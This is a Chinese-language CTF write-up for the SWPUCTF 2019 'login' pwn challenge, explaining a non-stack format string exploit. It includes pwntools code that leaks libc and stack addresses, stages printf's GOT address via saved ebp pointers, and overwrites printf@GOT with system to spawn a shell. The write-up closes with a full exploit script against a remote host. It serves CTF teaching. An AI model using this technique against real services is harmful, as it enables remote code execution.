这是swpuctf2019的第二道pwn题,主要考点就是**[非栈上的字符串格式化漏洞利用]{.mark}**。
首先,我们检查一下程序的保护机制
PIE和RELRO没有开启,那么我们可以轻易的利用漏洞修改GOT表
我们用IDA分析一下
在这里,有一个明显的格式化字符串漏洞,由于s1不是在栈上,而是在bss段里,所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环,所以,我们不能用ROP来解,我们可以把printf的GOT表内容修改为system的地址,然后,我们输入/bin/sh字符串,就可以getshell。
并且要注意,[我们必须一次性的完成printf的got表修改操作,不能分步]{.mark},因为分步的话第一次修改了部分数据,printf的GOT表已经不再指向printf函数,所以第二次就利用不了了。
可以泄露一些栈上的数据,来计算libc的地址
1 2 3 4 5 6 7 8 9 10 11
| sh.sendlineafter('Please input your password:','%15$p') sh.recvuntil('0x') __libc_start_main_addr = int(sh.recvuntil('\n',drop=True),16) - 0xF1 print hex(__libc_start_main_addr) libc = LibcSearcher('__libc_start_main',__libc_start_main_addr) libc_base = __libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
|
现在,有了一些需要的地址了,我们考虑怎么来写printf的GOT表,常规的栈格式化字符串漏洞,我们只需将地址放入字符串即可,因为字符串存在了栈里,但是非栈上的字符串,我们就不能这样操作了,我们需要借助格式化漏洞,先修改栈里的数据,改成需要的地址。
我们**[用%6$hhn来修改%10$处的数据,然后利用%10$hhn来修改%14$处的数据,使得%14$处为printf的GOT表地址,同样的方法,让%15$处为printf_got + 1的值]{.mark}**,这样,我们在printf里用%14$hhn和%15$hn一次性完成对printf的got表数据后3字节完成了修改。第一个字节不用修改,因为都是一样的值。
为了完成这个操作,我们就还需要泄露栈的地址
1 2 3 4 5 6 7 8
| sh.sendlineafter('Try again!\n','%6$p') sh.recvuntil('0x') stack_addr0 = int(sh.recvuntil('\n',drop=True),16) print hex(stack_addr0) sh.sendlineafter('Try again!\n','%10$p') sh.recvuntil('0x') stack_addr1 = int(sh.recvuntil('\n',drop=True),16) print hex(stack_addr1)
|
接下来,我们要在14处写入printf的got表地址0x804B014
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| payload = '%' + str(0x14) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0xB0) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x04) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x08) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
|
接下来,我们要往15处写入printf_got+1的值,那么需要将%10$指向%15$处,也就是14的地址+4
1 2 3 4 5
|
stack_addr1 = stack_addr1 + 4 payload = '%' + str( (stack_addr1 & 0xFF)) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
|
接下来,就是一样的操作了,在15处写数据0x804B015
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| payload = '%' + str(0x15) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0xB0) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x04) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x08) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
|
现在,栈里%14$和%15$就布下了我们需要的目标地址了,为了防止出错,我们把%10$处的数据复原
1 2 3
| payload = '%' + str( ((stack_addr1-4) & 0xFF)) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
|
然后,我们就要一次性的改写printf的GOT表
1 2 3 4 5 6 7 8 9
|
payload = '%' + str(system_addr & 0xFF) + 'c%14$hhn'
payload += '%' + str(((system_addr & 0xFFFF00)>>8)-0x10) + 'c%15$hn' sh.sendlineafter('Try again!\n',payload)
|
接下来,我们就可以getshell了
1 2 3
| time.sleep(0.5) sh.sendline('/bin/sh')
|
综上,我们对非栈上的格式化字符串漏洞总结:
[借助几个栈里的ebp,改写栈里的数据为目标地址,然后就可以像常规格式化字符串漏洞一样操作了。]{.mark}
贴上完整的exp代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * from LibcSearcher import * import time
sh = remote('108.160.139.79',9090) elf = ELF('./login') printf_got = 0x804B014 sh.sendafter('Please input your name: \n','zhaohai')
sh.sendlineafter('Please input your password:','%15$p') sh.recvuntil('0x') __libc_start_main_addr = int(sh.recvuntil('\n',drop=True),16) - 0xF1 print hex(__libc_start_main_addr) libc = LibcSearcher('__libc_start_main',__libc_start_main_addr) libc_base = __libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) sh.sendlineafter('Try again!\n','%6$p') sh.recvuntil('0x') stack_addr0 = int(sh.recvuntil('\n',drop=True),16) print hex(stack_addr0) sh.sendlineafter('Try again!\n','%10$p') sh.recvuntil('0x') stack_addr1 = int(sh.recvuntil('\n',drop=True),16) print hex(stack_addr1)
payload = '%' + str(0x14) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0xB0) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x04) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x08) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
stack_addr1 = stack_addr1 + 4 payload = '%' + str( (stack_addr1 & 0xFF)) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x15) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0xB0) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x04) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(0x08) + 'c%10$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str( ((stack_addr1-4) & 0xFF)) + 'c%6$hhn' sh.sendlineafter('Try again!\n',payload)
payload = '%' + str(system_addr & 0xFF) + 'c%14$hhn'
payload += '%' + str(((system_addr & 0xFFFF00)>>8)-0x10) + 'c%15$hn' sh.sendlineafter('Try again!\n',payload)
time.sleep(0.5) sh.sendline('/bin/sh') sh.interactive()
|